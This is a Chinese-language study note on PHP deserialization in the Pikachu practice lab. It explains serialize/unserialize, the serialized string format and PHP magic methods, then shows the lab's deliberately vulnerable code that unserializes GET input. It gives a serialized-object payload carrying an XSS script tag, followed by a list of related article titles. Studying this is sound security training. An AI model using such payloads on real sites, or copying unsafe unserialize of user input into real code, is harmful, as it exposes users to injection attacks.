皮卡丘中的PHP反序列化

简介: 皮卡丘中的PHP反序列化

PHP反序列化


一张图看懂序列化和反序列化

image.png

以下内容来自pikachu靶场,自己记录用于复习PHP反序列化的利用.

真他妈后悔上课的时候没好好学PHP,现在搞web很是吃力.一步一步的走是很重要的.

image.png

序列化

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象

使用的函数serialize()

class S{
    public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化

序列化后得到的结果是这个样子的:O:1:“S”:1:{s:4:“test”;s:7:“pikachu”;}

  • O:代表object
  • 1:代表对象名字长度为一个字符
  • S:对象的名称
  • 1:代表对象里面有一个变量
  • s:数据类型
  • 4:变量名称的长度
  • test:变量名称
  • s:数据类型
  • 7:变量值的长度
  • pikachu:变量值

反序列化

把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

使用函数unserialize()

 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu

PHP中的魔法函数

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了,就会导致安全问题.

常见的几个魔法函数:

 __construct()当一个对象创建时被调用
 __destruct()当一个对象销毁时被调用
 __toString()当一个对象被当作一个字符串使用
  __sleep() 在对象在被序列化之前运行
 __wakeup将在序列化之后立即被调用

pikachu漏洞

    class S{
        var $test = "pikachu";
        function __destruct(){
            echo $this->test;
        }
    }
    $s = $_GET['test'];
    @$unser = unserialize($a);
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image.png

相关文章
|
2月前
|
缓存 安全 PHP
PHP中的魔术方法与对象序列化
本文将深入探讨PHP中的魔术方法,特别是与对象序列化和反序列化相关的__sleep()和__wakeup()方法。通过实例解析,帮助读者理解如何在实际应用中有效利用这些魔术方法,提高开发效率和代码质量。
|
7月前
|
存储 监控 安全
Pikachu PHP 反序列化通关解析
Pikachu PHP 反序列化通关解析
|
7月前
|
安全 PHP
PHP反序列化---字符串逃逸(增加/减少)
PHP反序列化---字符串逃逸(增加/减少)
|
7月前
|
PHP
PHP反序列化--引用
PHP反序列化--引用
|
7月前
|
PHP
PHP反序列化--pop链
PHP反序列化--pop链
|
7月前
|
安全 PHP
PHP反序列化--_wakeup()绕过
PHP反序列化--_wakeup()绕过
|
7月前
|
存储 PHP 数据库
PHP序列化基础知识储备
PHP序列化基础知识储备
|
7月前
|
网络安全 PHP 数据安全/隐私保护
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
[网络安全/CTF] 记一次PHP序列化反序列化解题详析
111 5
|
存储 SQL Java
反序列化及PHP魔法函数
反序列化及PHP魔法函数
93 0
反序列化及PHP魔法函数
|
7月前
|
网络安全 PHP
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
[网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)
188 0